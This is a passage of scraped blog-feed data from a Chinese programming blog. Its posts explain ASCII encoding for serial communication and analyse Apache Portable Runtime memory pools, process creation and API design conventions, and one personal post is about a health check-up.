Mode进程发生了哪些系统事件。从最开始引入到现在，信号只是做了很小的一些改动（不可靠信号模型到可靠信号模型）。\u003c/p\u003e","title":"APR源代码分析-信号篇"},{"content":"最近在写一个串口程序，设备提供商的通讯协议说明中明确了内部通讯方式为“ASCII码”。其实每个和计算机打交道的人都会天天接触ASCII码，只是ASCII码藏在了幕后，我们很少与之正面打交道罢了，这次机会正好让我有机会到幕后去看看ASCII码的“庐山真面目”。\nASCII码众所周知全称为“美国信息交换标准码，American Standard Code for Information Interchange”。不能不佩服美国人，我这里决不是崇洋媚外，美国人在计算机领域对人类的贡献是绝对应该被我们所牢记的，对现代人来说，这些贡献丝毫不亚于中国人的四大发明。言归正传，个人觉得了解ASCII的由来是理解ASCII码的最好方法。\n一、背景\n人们发明了计算机，并知道如何使用内存中的0101来表示数和机器码。但是人类最主要的信息展现形式是文本，如何用内存中的bit来表示文本一直困扰着人们，这种情况一直持续到ASCII码发明成功后才被“部分”[注1]解决。说白了ASCII码就是解决了一个以数字形式表示文本的问题。\n二、实例\n让我们到幕后去看看，看看ASCII码是如何以数字形式表示文本的。举2个例子：\n(1) ASCII码\u0026rsquo;A\u0026rsquo; — 其内存存储字节2进制表示为\u0026quot;01000001\u0026quot; — 其16进制值为0×41 — 其10进制值为65(这里的值实际上是\u0026rsquo;A\u0026rsquo;在ASCII码表中编号)；\n验证过程：\nchar c = \u0026lsquo;A\u0026rsquo;;\nprintf(\u0026quot;%c\\n\u0026quot;, c); /* A */\nprintf(\u0026quot;%x\\n\u0026quot;, c); /* 41 */\nprintf(\u0026quot;%d\\n\u0026quot;, c); /* 65 */\n(2) ASCII码'6\u0026rsquo; — 其内存存储字节2进制表示为\u0026quot;00110110\u0026quot; — 其16进制值为0×36 — 其10进制值为54(这里的值实际上是'6\u0026rsquo;在ASCII码表中的编号)；\n验证过程：\nchar c = \u0026lsquo;6\u0026rsquo;;\nprintf(\u0026quot;%c\\n\u0026quot;, c); /* 6 */\nprintf(\u0026quot;%x\\n\u0026quot;, c); /* 36 */\nprintf(\u0026quot;%d\\n\u0026quot;, c); /* 54 */\n三、ASCII码通讯\n利用ASCII码作为通讯方式到底是一种什么样的通讯方式呢？（FTP协议中有两种通讯方式，其中一种是ASCII码方式，即文本方式）这里也举例说明：比如我们要传送数值123, 123数值用16进制表示为0x7b，以二进制表示为01111011，那么以二进制方式通讯，01111011就是我们真实传送的数据，但是如果以ASCII码方式通讯，则完全不同了，如果你还传送01111011的话，对方那边的得到的将是\u0026rsquo;{\u0026rsquo;(\u0026rsquo;{\u0026lsquo;对应的ASCII码用16进制表示为7b)。那么我们该如何怎么传呢？正确的方式就是将123每位上的数字转化为其相应的ASCII码，然后传送。这里'1\u0026rsquo;、\u0026lsquo;2\u0026rsquo;和'3\u0026rsquo;对应的ASCII码用16进制表示分别为0×31、0×32和0×33。这样组合起来后要传送的数据应为\u0026quot;001100010011001000110011\u0026quot;。\n四、总结\n一个字符串在内存中就是按照逐个字符的ASCII码连续存放的，我们在传送字符串时一般无需做特殊转换。\n[注1]\n尽管ASCII码是计算机世界里最重要的标准，但它并不是完美的。ASCII码的最大问题在于它太倾向于美国！的确， ASCII码即使对那些以英语为主要语言的国家也几乎是不合适的。尽管ASCII码包含有美元符号，但英镑符号呢？还有许多西欧国家语言中用到的重音符号呢？更不用说在欧洲一些国家里使用的非拉丁字母，包括希腊文、阿拉伯文、希伯来文和西里尔文。此外，还有印度及东南亚国家用到的婆罗门教的手迹。而一个7位编码又如何来处理成千上万的中文、日文、韩文笔画以及韩语音节？– 摘自《编码的奥秘》\n","permalink":"https://tonybai.com/2005/09/11/learn-ascii/","summary":"\u003cp\u003e最近在写一个串口程序，设备提供商的通讯协议说明中明确了内部通讯方式为“ASCII码”。其实每个和计算机打交道的人都会天天接触ASCII码，只是ASCII码藏在了幕后，我们很少与之正面打交道罢了，这次机会正好让我有机会到幕后去看看ASCII码的“庐山真面目”。\u003c/p\u003e","title":"理解ASCII码"},{"content":"谈到程序员似乎总是离不开“健康”这个话题，程序员是职业病的高发群体，一般工作2-3年的程序员或多或少的都有“小疾”。每个正规的公司每年都应有至少一次的“福利体检”。今天是我第一次参加公司的福利体检，入司时参加过体检，由于大学刚毕业，自然很自信身体没问题。在公司度过一年的时光后，也道听途说的知道一些说法，比如“某某人工作一年得高血压、脂肪肝”等，这给我这次体检带来了一丝悬念，自己也在担心我现在的身体还健康么？\n记得刚来公司的3个多月里，我每周至少打上2次乒乓球，每天回寝室都练臂力，作俯卧撑等。随着工作的深入，学习的压力和工作的压力让我无暇顾及身体锻炼，时间长了，感觉自己越来越懒惰，回到寝室就坐在电脑前，都懒得起来。在公司里不时的有同事群发些关于保健保养的小文章，我看完后便让它进入了“收藏箱”。程序员英年早逝的例子也不在少数，每次在网上看到如此消息，便不由的想象自己的生活是否健康，感受深了便加紧锻炼两天，然后一切又恢复成和以前一样。曾经参加过若干培训，很多讲师问道：“什么是你感觉最重要的事”？很多人回答“事业、家庭等”，也有人回答“健康”，当回答健康的人被问及“你平时坚持有计划的锻炼么”，得到的回答却是“不能坚持”。\n体检的过程很顺利，特别是我担心的“胸透和B超”都顺利通过，我也终于长出了一口气，可以侥幸的说“我还健康”。这次虽然写下了这篇blog引以为戒，但我也不能保证以后我能坚持自己的“健康计划”，不知下次体检的时候我还能不能是健康群体中的一员了。\n","permalink":"https://tonybai.com/2005/09/08/i-am-still-healthy/","summary":"\u003cp\u003e谈到程序员似乎总是离不开“健康”这个话题，程序员是职业病的高发群体，一般工作2-3年的程序员或多或少的都有“小疾”。每个正规的公司每年都应有至少一次的“福利体检”。今天是我第一次参加公司的福利体检，入司时参加过体检，由于大学刚毕业，自然很自信身体没问题。在公司度过一年的时光后，也道听途说的知道一些说法，比如“某某人工作一年得高血压、脂肪肝”等，这给我这次体检带来了一丝悬念，自己也在担心我现在的身体还健康么？\u003c/p\u003e","title":"我还健康"},{"content":"内存管理一直是让C程序员头痛的问题，作为一个通用接口集，APR当然也提供其自己的内存管理接口–APR Pool。APR Pool作为整个APR的一个基础功能接口，直接影响着APR的设计风格。在这篇Blog中，我们就要和APR Pool来一次“亲密接触”。(还是以Unix平台实现为例)\nAPR Pool源代码的位置在$(APR_HOME)/memory目录下，本篇blog着重分析unix子目录下的apr_pools.c文件内容，其相应头文件为$(APR_HOME)/include/apr_pools.h；在apr_pools.c中还实现了负责APR内部内存分配的APR allocator的相关操作接口(APR allocator相关头文件为$(APR_HOME)/include/apr_allocator.h)。\n一、APR Pool概述\n我们平时常用的内存管理方式都是基于“request-style”的，即分配所请求大小的内存，使用之，销毁之。而APR Pool的设计初衷是为Complex Application提供良好的内存管理接口，其使用方式与“request-style”有所不同。在$(APR_HOME)/docs/pool-design.htm文档中，设计者道出了“使用好”APR Pool的几个Rules，同时也从侧面反映出APR Pool的设计。\n1、任何Object都不应该有自己的Pool，它应该在其构造函数的调用者的Pool中分配。因为一般调用者知道该Object的生命周期，并通过Pool管理之。也就是说Object无须自己调用\u0026quot;Close\u0026quot; or \u0026ldquo;Free\u0026rdquo;，这些操作在Object所在Pool被摧毁时会被隐式调用的。\n2、函数无须为了他们的行为而去Create/Destroy Pool，它们应该使用它们调用者传给它们的Pool。\n3、为了防止内存无限制的增长，APR Pool建议当遇到unbounded iteration时使用sub_pool，标准格式如下：\nsubpool = apr_poll_create(pool, NULL);\nfor (i = 0; i \u0026lt; n; ++i) {\napr_pool_clear(subpool);\n… …\ndo_operation(…, subpool);\n}\napr_pool_destroy(subpool);\n二、深入APR Pool\n到目前为止我们已经知道了该如何“很好的”使用APR Pool，接下来我们来深入APR Pool的内部，看究竟有什么“奥秘”。\n1、分析apr_pool_initialize\n任何使用APR的应用程序一般都会调用apr_app_initalize来初始化APR的内部使用的数据结构，察看一下app_app_initialize的代码，你会发现apr_pool_initialize在被apr_app_initialize调用的apr_initialize中被调用，该函数用来初始化使用Pool所需的内部结构(用户无须直接调用apr_pool_initialize，在apr_app_initialize时它被自动调用，而apr_app_initialize又是APR program调用的第一个function，其在apr_general.h中声明，在misc/unix/start.c中实现)。\napr_pool_initialize的伪码如下（这里先不考虑多线程的情况）：\nstatic apr_byte_t apr_pools_initialized = 0;\nstatic apr_pool_t *global_pool = NULL;\nstatic apr_allocator_t *global_allocator = NULL;\napr_pool_initialize\n{\n如果(!apr_pools_initialized)\n{\n创建global_allocator; ——(1)\n}\n创建global_pool; ——-(2)\n给global_pool起名为\u0026quot;apr_global_pool\u0026quot;;\n}\n(1) Pool和Allocator\n每个Pool都有一个allocator相伴，这个allocator可能是Pool自己的，也可能是其Parent Pool的。allocator的结构如下：\n/* in apr_pools.c */\nstruct apr_allocator_t {\napr_uint32_t max_index;\napr_uint32_t max_free_index;\napr_uint32_t current_free_index;\n… …[注1]\napr_pool_t *owner;\napr_memnode_t *free[MAX_INDEX];\n};\n在(1)调用后，global_allocator的所有xx_index字段都为0，owner–\u0026gt;NULL，free指针数组中的指针也都–\u0026gt;NULL。这里的index是大小的级别，这里最大级别为20(即MAX_INDEX = 20)，free指针数组中free[0]所指的node大小为MIN_ALLOC大小，即8192，即2的13次幂。按此类推free[19]所指的node大小应为2的32次幂，即4G byte。allocator_alloc中是通过index = (size \u0026gt;\u0026gt; BOUNDARY_INDEX) – 1来得到这一index的。allocator维护了一个index不同的memnode池，每一index级别上又有一个memnode list，以后用户调用apr_palloc分配size大小内存时，allocaotr_alloc函数就会在free memnode池中选和要寻找的size的index级别相同的memnode，而不是重新malloc一个size大小的memnode。另外要说明一点的是APR Pool中所有ADT中的xx_index字段都是大小级别的概念。\n(2) 创建global_pool\n在APR Pool初始化的时候，唯一创建一个Pool — global_pool。apr_pool_t的非Debug版本如下：\n/* in apr_pools.c */\nstruct apr_pool_t {\napr_pool_t *parent;\napr_pool_t *child;\napr_pool_t *sibling;\napr_pool_t **ref;\ncleanup_t *cleanups;\ncleanup_t *free_cleanups;\napr_allocator_t *allocator;\nstruct process_chain *subprocesses;\napr_abortfunc_t abort_fn;\napr_hash_t *user_data;\nconst char *tag;\napr_memnode_t *active;\napr_memnode_t *self; /* The node containing the pool itself */\nchar *self_first_avail;\n… …\n}\n而apr_memnode_t的结构如下：\n/* in apr_allocator.h */\nstruct apr_memnode_t {\napr_memnode_t *next; /**\u0026lt; next memnode */\napr_memnode_t **ref; /**\u0026lt; reference to self */\napr_uint32_t index; /**\u0026lt; size */\napr_uint32_t free_index; /**\u0026lt; how much free */\nchar *first_avail; /**\u0026lt; pointer to first free memory */\nchar *endp; /**\u0026lt; pointer to end of free memory */\n};\napr_pool_create_ex首先通过allocator寻找合适的node用于创建Pool，但由于global_allocator尚未分配过任何node，所以global_allocator创建一个新的node，该node大小为MIN_ALLOC(即8192)，该node的当前状态如下：\nnode –\u0026gt;|—————|0\n| |\n| |\n| |\n|—————|APR_MEMNODE_T_SIZE first_avail\n| |\n| |\n| | —————– size(一般为8192) endp\n其他属性值如下：\nnode-\u0026gt;next = NULL;\nnode-\u0026gt;index = (APR_UINT32_TRUNC_CAST)index; /* 这里为1 */\n创建完node后，我们将在该node上的avail space划分出我们的global_pool来。划分后状态如下(pool与node关系)：\nnode –\u0026gt;|—————|0 self = pool_active\n| |\n| |\n|—————|APR_MEMNODE_T_SIZE \u0026lt;——– global_pool\n| |\n| | |—————|APR_MEMNODE_T_SIZE+SIZEOF_POOL_T first_avail = pool-\u0026gt;self_first_avail\n| |\n| |\n—————– size(一般为8192) endp\npool其他一些属性值(pool与pool之间关系)如下：\npool-\u0026gt;allocator = global_allocator;\npool-\u0026gt;child = NULL;\npool-\u0026gt;sibling = NULL;\npool-\u0026gt;ref = NULL;\n也许现在你仍然不能看清楚APR Pool的结构，无需着急，我们继续往下分析。\n2、APR Sub_Pool创建(pool与pool之间关系)\n上面我们已经初始化了global_pool，但是global_pool是不能直接拿来就用的，我们需要创建其sub_pool，也就是用户自己的pool。一般创建user的sub_pool我们都使用apr_pool_create宏，它只需要2个参数，并默认sub_pool继承parent_pool的allocator和abort_fn。在apr_pool_create内部调用的还是apr_pool_create_ex函数。我们来看一下创建sub_pool后pool之间的关系：\n例:\nstatic apr_pool_t *sub_pool = NULL;\napr_pool_create(\u0026amp;sub_pool, NULL);\n这里sub_pool的创建过程与global_pool相似，也是先创建其承载体node，然后设置相关属性，使其成为global_pool的child_pool。创建完后global_pool和该sub_pool的关系如下图：\nglobal_pool sub_pool\n———– \\ / ————\nsibling —\u0026gt;NULL /——- parent\n———– / ————\nchild ———— / sibling —–\u0026gt;NULL\n———– ————\nchild ——\u0026gt;NULL\n————\nAPR Pool是按照二叉树结构组织的，并采用“child-sibling”的链式存储方式，global_pool作为整个树的Root Node。如果APR Pool中存在多个Pool，其节点结构关系如下：\n/-child–\u0026gt;\n/ ——–Pool_level1-a\n/ / parent /|\\ |\n/|/_ | | sibling\nglobal_pool | |\n\\ | \\|/\n\\-child-\u0026gt; Pool_level1-b\n/|\\ | -parent——\n3、从pool中分配内存\n上面我们已经拥有了一个sub_pool，我们现在就可以从sub_pool中分配内存了。APR提供了函数apr_palloc来做这件事情。\n例如：apr_alloc(sub_pool, wanted_mem_size);\napr_palloc在真正分配内存前会把wanted_mem_size做一下处理。它使用APR_ALIGN_DEFAULT宏处理wanted_mem_size得到一个圆整到8的new_size，然后再在pool中分配new_size大小的内存，也就是说pool中存在的用户内存块的大小都是8的倍数。举个例子来说，如果wanted_mem_size = 30，apr_alloc实际会在pool中划分出32个字节的空间。\napr_palloc的工作流程简单描述是这样的：\na) 如果在pool-\u0026gt;active node的avail space足够满足要申请的内存大小size时，则直接返回active-\u0026gt;first_avail，并调整active-\u0026gt;first_avail = active-\u0026gt;first_avail + size；\nb) 如果a)不满足，则察看active-\u0026gt;next这个node满足与否；如果满足则将返回所要内存，并将该node设为active node，将以前的active node放在新active node的next位置上;\nc) 如果b)也不满足，则新创建一个memnode，这个node可能为新创建的，也可能是从allocator的free memnode池中取出的，取决于当时整个Pool的状态。\n从上面我们也可以看出node分为2类，一种是作为pool的承载体，但pool结构的空间不足以完全占满一个node，所以也可以用来分配用户内存；另一种就是完全用于分配用户内存的了。每个pool有一个node list，当然这个list中包括它自己所在的node了。\n4、apr_pool_clear和apr_pool_destroy\n创建和分配结束后，我们需要clear或者destroy掉Pool。\nclear和destroy的区别在于clear并不真正free内存，只是清理便于以后alloc时重用，而destroy则是真正的free掉内存了。\n三、总结\n本文并未说明APR Pool有哪些优点或缺点(除了概述中的一些Rules)，仅是把其来龙去脉弄清。\n[注1]\n在本文中出现的\u0026quot;… …\u0026ldquo;的符号表示与多线程相关的字段和代码的省略。\n","permalink":"https://tonybai.com/2005/09/07/apr-memory-management/","summary":"\u003cp\u003e内存管理一直是让\u003ca href=\"http://tonybai.com/tag/C\"\u003eC\u003c/a\u003e程序员头痛的问题，作为一个通用接口集，\u003ca href=\"http://apr.apache.org\"\u003eAPR\u003c/a\u003e当然也提供其自己的内存管理接口–APR Pool。APR Pool作为整个APR的一个基础功能接口，直接影响着APR的设计风格。在这篇Blog中，我们就要和APR Pool来一次“亲密接触”。(还是以Unix平台实现为例)\u003c/p\u003e","title":"APR源代码分析-内存篇"},{"content":"Apache Server的进程调度一直为人所称道，Apache 2.0推出的APR对进程进行了封装，特别是Apache 2.0的MPM(Multiple Process Management)框架就是以APR封装的进程为基础的，下面就让我们一起来探索一下APR的进程封装吧(以Unix平台为例)。\nAPR进程封装源代码的位置在$(APR_HOME)/threadproc目录下，本篇blog着重分析unix子目录下的proc.c文件内容，其相应头文件为$(APR_HOME)/include/apr_thread_proc.h。\n一、APR进程概述\nAPR进程封装采用了传统的fork-exec配合方式(spawn)，即父进程在fork出子进程后继续执行其自己的代码，而子进程调用exec函数加载新的程序映像到其地址空间，执行新的程序。我们先来看看使用APR创建一个新的进程的流程，然后再根据流程做细节分析：\napr_proc_t newproc;\napr_pool_t *p;\napr_status_t rv;\nconst char *args[2];\napr_procattr_t *attr;\n/* 初始化APR内部使用的内存 */\nrv = apr_pool_initialize();\nHANDLE_RTVAL(apr_pool_initialize, rv);[注1]\nrv = apr_pool_create(\u0026amp;p, NULL);\nHANDLE_RTVAL(apr_pool_create, rv);\n/* 创建并初始化新进程的属性 */\nrv = apr_procattr_create(\u0026amp;attr, p);\nHANDLE_RTVAL(apr_procattr_create, rv);\nrv = apr_procattr_io_set(attr, APR_FULL_BLOCK, APR_FULL_BLOCK,\nAPR_NO_PIPE); /* 可选 */\nHANDLE_RTVAL(apr_procattr_io_set, rv);\nrv = apr_procattr_dir_set(attr, \u0026ldquo;startup_path\u0026rdquo;); /* 可选 */\nHANDLE_RTVAL(apr_procattr_dir_set, rv);\nrv = apr_procattr_cmdtype_set(attr, APR_PROGRAM); /* 可选 */\nHANDLE_RTVAL(apr_procattr_cmdtype_set, rv);\n… … /* 其他设置进程属性的函数 */\n/* 创建新进程 */\nargs[0] = \u0026ldquo;proc_child\u0026rdquo;;\nargs[1] = NULL;\nrv = apr_proc_create(\u0026amp;newproc, \u0026ldquo;your_progname\u0026rdquo;, args, NULL, attr, p);\nHANDLE_RTVAL(apr_proc_create, rv);\n/* 等待子进程结束 */\nrv = apr_proc_wait(\u0026amp;newproc, NULL, NULL, APR_WAIT);\nHANDLE_RTVAL(apr_proc_wait, rv);\n二、APR procattr创建\n在我们平时的Unix进程相关编程时，我们大致会接触两类进程操作函数：进程创建函数(如fork和exec等)和进程属性操作函数(getpid、chdir等)，APR将进程的相关属性信息封装到apr_procattr_t结构体中，我们来看看这个重要的结构体定义：(这里只列出Unix下可用的属性)\n/* in $(APR_HOME)/include/arch/unix/apr_arch_threadproc.h */\nstruct apr_procattr_t {\n/* PART 1 */\napr_pool_t *pool;\n/* PART 2 */\napr_file_t *parent_in;\napr_file_t *child_in;\napr_file_t *parent_out;\napr_file_t *child_out;\napr_file_t *parent_err;\napr_file_t *child_err;\n/* PART 3 */\nchar *currdir;\napr_int32_t cmdtype;\napr_int32_t detached;\n/* PART 4 */\nstruct rlimit *limit_cpu;\nstruct rlimit *limit_mem;\nstruct rlimit *limit_nproc;\nstruct rlimit *limit_nofile;\n/* PART 5 */\napr_child_errfn_t *errfn;\napr_int32_t errchk;\n/* PART 6 */\napr_uid_t uid;\napr_gid_t gid;\n};\n我这里将apr_procattr_t包含的字段大致分为6部分，下面逐一说明：\n[PART 1]\n在上一篇关于APR的blog中说过，大部分的APR类型中都会有一个apr_pool_t类型字段，用于APR内部的内存管理，此结构也无例外。该字段用来标识procattr在哪个pool中分配的内存。\n[PART 2]\n进程不是孤立存在的，进程也是有父有子的。父子进程间通过传统的匿名pipe进行通信。在apr_procattr_io_set(attr, APR_FULL_BLOCK, APR_FULL_BLOCK, APR_FULL_BLOCK)调用后，我们可以用下面的图来表示这些字段的状态：[注3]\nparent_in ———————————————-\n\\|/\n——————————————\nfiledes[0] “in_pipe” filedes[1] ——————————————\n/|\\\nchild_in ——\nparent_out —-\n\\|/\n——————————————-\nfiledes[0] “out_pipe” filedes[1] ——————————————-\n/|\\\nchild_out ———————————————-\nparent_err —-\n\\|/\n——————————————-\nfiledes[0] “err_pipe” filedes[1] ——————————————-\n/|\\\nchild_err ————————————————\n还有一点值得注意的是apr_procattr_io_set调用apr_file_pipe_create创建pipe的时候，为相应的in/out字段注册了cleanup函数apr_unix_file_cleanup，apr_unix_file_cleanup在相应的in/out字段的pool销毁时被调用，在后面的apr_proc_create时还会涉及到这块儿。\n[PART 3]\n进程的一些常规属性。\ncurrdir标识新进程启动时的工作路径(执行路径)，默认时为和父进程相同；\ncmdtype标识新的子进程将执行什么类型的命令；共5种类型，默认为APR_PROGRAM，定义见[注2]\ndetached标识新进程是否为分离后台进程，默认为前台进程。\n[PART 4]\n这4个字段标识平台对进程资源的限制，一般我们接触不到。struct rlimit的定义在/usr/include/sys/resource.h中。\n[PART 5]\nerrfn为一函数指针，原型为typedef void (apr_child_errfn_t)(apr_pool_t *proc, apr_status_t err, const char *description); 这个函数指针如果被赋值，那么当子进程遇到错误退出前将调用该函数。\nerrchk一个标志值，用于告知apr_proc_create是否对子进程属性进行检查，如检查curdir的access属性等。\n[PART 6]\n用户ID和组ID，用于检索允许该用户所使用的权限。\n三、APR proc创建\nAPR proc的描述结构为apr_proc_t：\ntypedef struct apr_proc_t {\n/** The process ID */\npid_t pid;\n/** Parent\u0026rsquo;s side of pipe to child\u0026rsquo;s stdin */\napr_file_t *in;\n/** Parent\u0026rsquo;s side of pipe to child\u0026rsquo;s stdout */\napr_file_t *out;\n/** Parent\u0026rsquo;s side of pipe to child\u0026rsquo;s stdouterr */\napr_file_t *err;\n} apr_proc_t;\n结构中有很清晰明了的注释，这里就不再说了。\n创建一个新的进程的接口为apr_proc_create，其参数也都很简单。前面说过apr_proc_create先fork出一个子进程，众所周知fork后子进程是父进程的复制品[注4]，然后子进程再通过exec函数加载新的程序映像，并开始执行新的程序。这里分析一下apr_proc_create的执行流程，其伪码如下：\napr_proc_create\n{\nif (attr-\u0026gt;errchk)\n对attr做有效性检查，让错误尽量发生在parent process中，而不是留给child process; —-(1)\nfork子进程;\n{ /* 在子进程中 */\n清理一些不必要的从父进程继承下来的描述符等，为\nexec提供一个“干净的”环境；——(2)\n关闭attr-\u0026gt;parent_in、parent_out和parent_err，\n并分别重定向attr-\u0026gt;child_in、child_out和child_err为\nSTDIN_FILENO、STDOUT_FILENO和STDERR_FILENO; —–(3)\n判断attr-\u0026gt;cmdtype，选择执行exec函数; ——(4)\n}\n/* 在父进程中 */\n关闭attr-\u0026gt;child_in、child_out和child_err;\n}\n下面针对上述伪码进行具体分析：\n(1) 有效性检查\nattr-\u0026gt;errchk属性可以通过apr_procattr_error_check_set函数在apr_proc_create之前设置。一旦设置，apr_proc_create就会在fork子进程前对procattr的有效性进行检查，比如attr-\u0026gt;curdir的访问属性(利用access检查)、progname文件的访问权限检查等。这些的目的就是一个：“让错误发生在fork前，不要等到在子进程中出错”。\n(2) 清理“不必要的”继承物\n由于子进程复制了父进程的地址空间，随之而来的还包含一些“不必要”的“垃圾”。为了给exec提供一个“干净的”环境，在exec之前首先要做一下必要的清理，APR使用apr_pool_cleanup_for_exec来完成这项任务。apr_pool_cleanup_for_exec究竟做了些什么呢？这涉及到了apr_pool的设计，这里仅仅作简单说明。apr_pool_cleanup_for_exec通过pool内部的global_pool搜索其子结点，并逐一递归cleanup，这里的cleanup并不释放任何内存，也不flush I/O Buffer，仅是调用结点注册的相关cleanup函数，这里我们可以回顾一下apr_procattr_io_set调用，在创建相关pipe时就为相应的in/out/err描述符注册了cleanup函数。同样就是因为这点，子进程在调用apr_pool_cleanup_for_exec之前，首先要kill掉（这里理解就是去掉相关文件描述符上的cleanup注册函数）这些注册函数。防止相关pipe的描述符被意外关闭。\n(3) 建立起与父进程“对话通道”\n父进程在创建procattr时就建立了若干个pipe，fork后子进程继承了这些。为了关掉一些不必要的描述符和更好的和父进程通讯，子进程作了一些重定向的工作，这里用2副图来表示重定向前后的差别：（图中显示的是子进程关闭parent_in/out/err三个描述符后的文件描述表）\n重定向前：\n子进程文件描述表\n———————–|\n[0] STDIN_FILENO |\n———————–|\n[1] STDOUT_FILENO|\n———————–|\n[2] STDERR_FILENO|\n———————–|\n[3] child_in.fd | —-\u0026gt; in_pipe的filedes[0]\n—————–|\n[4] child_out.fd| —-\u0026gt; out_pipe的filedes[1]\n—————–|\n[5] child_err.fd| —-\u0026gt; err_pipe的filedes[1]\n—————–|\n重定向后：\n——————|\n[0] child_in.fd | —-\u0026gt; in_pipe的filedes[0]\n——————|\n[1] child_out.fd | —-\u0026gt; out_pipe的filedes[1]\n——————|\n[2] child_err.fd | —-\u0026gt; err_pipe的filedes[1]\n——————|\n为了能更好的体现出“对话通道”的概念，这里再画出父进程再关闭ttr-\u0026gt;child_in、child_out和child_err后的文件描述表：\n父进程文件描述表\n———————–|\n[0] STDIN_FILENO |\n———————–|\n[1] STDOUT_FILENO |\n————————|\n[2] STDERR_FILENO |\n——————-|\n[3] parent_in.fd | —-\u0026gt; in_pipe的filedes[1]\n——————-|\n[4] parent_out.fd | —-\u0026gt; out_pipe的filedes[0]\n——————-|\n[5] parent_err.fd | —-\u0026gt; err_pipe的filedes[0]\n——————-|\n(4) 启动新的程序\n根据APR proc的设计，子进程在被fork出来后，将根据procattr的cmdtype等属性信息决定调用哪种exec函数。当子进程调用一种exec函数时，子进程将完全由新程序代换，而新程序则从其main函数开始执行(与fork不同，fork返回后子进程从fork点开始往下执行)。因为调用exec并不创建新进程，所以前后的进程ID并未改变。exec只是用另一个新程序替换了当前进程的正文、数据、堆和栈段。这里不详述这几种函数的差别，在参考资料中有相关描述[注5]。\n四、总结\n简单分析了一下APR的进程封装，APR的源代码注释很详尽，很多细节可以直接察看源码。\n[注1]\n#define HANDLE_RTVAL(func, rv) do { \\\nif (rv != APR_SUCCESS) { \\\nprintf(\u0026quot;%s executes error!\\n\u0026quot;, #func); \\\nreturn rv; \\\n} \\\n} while(0)\n[注2]\ntypedef enum {\nAPR_SHELLCMD, /* use the shell to invoke the program */\nAPR_PROGRAM, /* invoke the program directly, no copied env */\nAPR_PROGRAM_ENV, /* invoke the program, replicating our environment */\nAPR_PROGRAM_PATH, /* find program on PATH, use our environment */\nAPR_SHELLCMD_ENV /* use the shell to invoke the program, replicating our environment */\n} apr_cmdtype_e;\n[注3]\nxx_in/xx_out都是相对于child process来说的，xx_in表示通过该描述符child process从in_pipe读出parent process写入in_pipe的数据；xx_out表示通过该描述符child process将数据写入out_pipe供parent process使用；xx_err则是child process将错误信息写入err_pipe供parent process使用。\n[注4]\nfork后子进程和父进程的同和异\n同：\n子进程从父进程那继承了\n– 父进程已打开的文件描述符；\n– 实际用户ID、实际组ID、有效用户ID、有效组ID；\n– 添加组ID；\n– 进程组ID；\n– 对话期ID；\n– 控制终端；\n– 设置用户ID标志和设置组ID标志；\n– 当前工作目录；\n– 根目录；\n– 文件方式创建屏蔽字；\n– 信号屏蔽和排列；\n– 对任一打开文件描述符的在执行时关闭标志；\n– 环境；\n– 连接的共享存储段；\n– 资源限制。\n异：\n– fork的返回值；\n– 进程ID；\n– 不同的父进程ID；\n– 子进程的tms_utime, tms_stime, tms_cutime以及tme_ustime设置为0；\n– 父进程设置的锁，子进程不继承；\n– 子进程的未决告警被清除；\n– 子进程的未决信号集设置为空集。\n[注5]\n这里引用《Unix环境高级编程》中关于如何区分和记忆exec函数族的方法：“这六个exec函数的参数很难记忆。函数名中的字符会给我们一些帮助。字母p表示该函数取filename作为参数，并且用PATH环境变量寻找可执行文件。字母l表示该函数取一个参数列表，它与字母v互斥。v表示该函数取一个argv[]。最后，字母e表示该函数取envp[] 数组，而不使用当前环境。”\n参考资料：\n1、《Unix环境高级编程》\n2、《Unix系统编程》\n","permalink":"https://tonybai.com/2005/09/01/apr-process-management/","summary":"\u003cp\u003e\u003ca href=\"http://httpd.apache.org/\"\u003eApache Server\u003c/a\u003e的进程调度一直为人所称道，Apache 2.0推出的\u003ca href=\"http://apr.apache.org/\"\u003eAPR\u003c/a\u003e对进程进行了封装，特别是Apache 2.0的MPM(Multiple Process Management)框架就是以APR封装的进程为基础的，下面就让我们一起来探索一下APR的进程封装吧(以Unix平台为例)。\u003c/p\u003e","title":"APR源代码分析-进程篇"},{"content":"作为一个可移植的运行时环境，APR的设计当然是很精妙的，但精妙的同时对使用者有一些限制。\nAPR附带一个简短的设计文档，文字言简意赅，其中很多的设计思想都值得我们所借鉴，主要从三个方面谈。\n1、类型\n1) APR提供并建议用户使用APR自定义的数据类型，好处很多，比如便于代码移植，避免数据间进行不必要的类型转换（如果你不使用APR自定义的数据类型，你在使用某些APR提供的接口时，就需要进行一些参数的类型转换）；自定义数据类型的名字更加具有自描述性，提高代码可读性。APR提供的基本自定义数据类型包括：\ntypedef unsigned char apr_byte_t;\ntypedef short apr_int16_t;\ntypedef unsigned short apr_uint16_t; typedef int apr_int32_t;\ntypedef unsigned int apr_uint32_t; typedef long long apr_int64_t;\ntypedef unsigned long long apr_uint64_t;\n这些都是在apr.h中定义的，而apr.h在UNIX平台是通过configure程序生成的，在不同平台APR自定义类型的实际类型是完全有可能不一致的。\n2) 还有一点值得提的是在APR的设计文档中，它称“dso、mmap、process、thread”等为“base types”。很难用中文理解之，估计是指apr_mmap_t这些类型吧。权且这么理解吧^_^\n3) 另外的一个特点就是大多APR类型中都包含一个apr_pool_t类型的字段，该字段用于分配APR内部使用的内存，任何APR函数需要内存都可以通过它分配。如果你创建一个新的类型，你最好在该类型中加入一个apr_pool_t类型的字段，否则所有操作该类型的APR函数都需要一个apr_pool_t类型的参数。\n2、函数\n1) 理解APR的函数设计对阅读APR代码很有帮助。看了APR代码你会发现很多类似APR_DECLARE(apr_hash_t *) apr_hash_make(apr_pool_t *pool)带APR_DECLARE宏的函数声明，到底是什么意思呢？为什么要加一个APR_DECLARE呢？在apr.h中有这样的解释：“APR的固定个数参数公共函数的声明形式APR_DECLARE(rettype) apr_func(args)；而非固定个数参数的公共函数的声明形式为APR_DECLARE_NONSTD(rettype) apr_func(args, …);”。在Unix上的apr.h中有这两个宏的定义：\n#define APR_DECLARE(type) type\n#define APR_DECLARE_NONSTD(type) type\n在apr.h文件中解释了这么做就是为了在不同平台上编译时使用“the most appropriate calling convention”，这里的“calling convention”是一术语，翻译过来叫“调用约定”。[注1]\n常见的调用约定有：stdcall、cdecl、fastcall、thiscall和naked call，其中cdecl调用约定又称为C调用约定，是C语言缺省的调用约定。\n2) 如果你想新增APR函数,APR建议你最好能按如下做，这样会和APR提供的函数保持最好的一致性：\na) 输出参数为第一个参数；\nb) 